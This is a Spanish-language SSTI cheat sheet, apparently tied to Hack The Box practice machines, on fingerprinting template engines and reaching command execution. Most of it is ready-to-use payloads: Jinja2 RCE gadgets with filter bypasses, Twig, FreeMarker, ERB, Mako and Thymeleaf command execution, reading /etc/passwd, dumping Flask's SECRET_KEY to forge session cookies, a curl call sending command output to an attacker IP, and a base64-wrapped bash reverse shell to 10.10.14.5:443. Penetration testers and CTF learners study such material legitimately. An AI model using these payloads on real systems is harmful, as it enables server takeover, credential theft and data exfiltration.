SSTI: identificar el motor de plantillas y llegar a RCE

Detectar una inyección en plantillas del servidor, averiguar si es Jinja2, Twig, FreeMarker, ERB o Mako, y los payloads para ejecutar comandos en cada uno.

· 3 min de lectura

Hay Server-Side Template Injection cuando la aplicación mete tu texto dentro de la plantilla en lugar de pasarlo como variable. El motor lo evalúa como código y, en casi todos los motores, eso acaba en ejecución de comandos en el servidor.

La diferencia en código Python/Flask:

# Seguro: el nombre es un dato
render_template_string("Hola {{ nombre }}", nombre=request.args["nombre"])

# Vulnerable: el nombre pasa a formar parte de la plantilla
render_template_string("Hola " + request.args["nombre"])

Dónde buscarla

Cualquier sitio donde lo que escribes vuelve a salir en la página: un nombre de perfil, un mensaje de error ("No se encontró x"), el asunto de un correo, una plantilla de factura o de PDF, o un campo de "personaliza tu mensaje". También en cabeceras que se muestran en un panel de administración.

Detectarla

Mete una operación y mira si el resultado sale calculado:

Payload Si sale 49 (o similar)...
{{7*7}} Jinja2, Twig, Nunjucks
${7*7} FreeMarker, Mako, expresiones de Spring/Thymeleaf, plantillas literales de JavaScript
<%= 7*7 %> ERB (Ruby), EJS (Node)
#{7*7} Pug/Jade, cadenas interpoladas de Ruby
*{7*7} Thymeleaf / Spring

Truco

Un polyglot como ${{<%[%'"}}%\. suele provocar un error en casi cualquier motor. El mensaje de error (o la traza) muchas veces te dice directamente qué motor es.

Para separar los dos más típicos con {{ }}:

  • {{7*'7'}} → 7777777 es Jinja2 (Python repite la cadena); 49 es Twig (PHP convierte a número).
  • {{config}} o {{self}} responden en Jinja2/Flask. {{_self}} responde en Twig.

Jinja2 (Python: Flask, Django con Jinja)

La idea es partir de cualquier objeto, llegar a sus __globals__ y, de ahí, al módulo os. Estos funcionan sin depender de clases concretas:

{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ lipsum.__globals__['os'].popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Si hay filtros que bloquean ., _ o palabras concretas:

{{ lipsum|attr('__globals__') }}                      {# sin punto #}
{{ lipsum['\x5f\x5fglobals\x5f\x5f'] }}             {# sin guion bajo literal #}
{{ request|attr(request.args.a) }}&a=__class__        {# la palabra viene en otro parámetro #}

Y {{ config.items() }} te enseña la configuración de Flask, incluida la SECRET_KEY (con la que puedes forjar cookies de sesión).

Twig (PHP: Symfony, Craft, Grav...)

{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}

Estos funcionan en Twig 1.x/2.x y en las 3.x que aceptan un nombre de función como callable. En versiones recientes, que solo admiten funciones flecha, busca otras vías (lectura de ficheros con objetos de la aplicación, o el sandbox desactivado). En Twig 1.x antiguo:

{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

FreeMarker (Java)

<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

Si ?new está restringido (TemplateClassResolver.SAFER_RESOLVER), prueba a leer ficheros a través de objetos que ya estén en el modelo.

ERB (Ruby) y Mako (Python)

<%= `id` %>
<%= File.read('/etc/passwd') %>
<% import os %>${ os.popen('id').read() }

Thymeleaf / Spring (Java)

Si el valor acaba en una expresión con preprocesado (__${...}__), por ejemplo en el nombre de una vista:

__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

exec no te devuelve la salida: lanza una petición a tu máquina (curl 10.10.14.5/$(id|base64)) o directamente una reverse shell.

De RCE a shell

Las comillas y los espacios dan guerra dentro de una plantilla. Pasa el comando en base64:

echo -n 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"' | base64 -w0
{{ lipsum.__globals__['os'].popen('echo YmFzaCAt...|base64 -d|bash').read() }}

Herramientas

  • SSTImap (python3 sstimap.py -u 'http://web/?name=*'): detecta el motor y te da una shell si puede. Es el sucesor de tplmap.
  • La lista de payloads de PayloadsAllTheThings para motores raros (Smarty, Velocity, Handlebars, Pebble...).

Cuidado

No confundas SSTI con XSS: si {{7*7}} solo se calcula en tu navegador (Angular, Vue), es una inyección de plantillas del cliente. Sirve para XSS, no para ejecutar comandos en el servidor.

Practícalo en máquinas reales

Máquinas de Hack The Box donde se usa la técnica. Cada ▶ salta al minuto del vídeo de IppSec donde aparece.

Server-Side Template Injection 12 máquinas

Ver las 12 máquinas →

¿Ves un error o echas algo en falta? Cuéntanoslo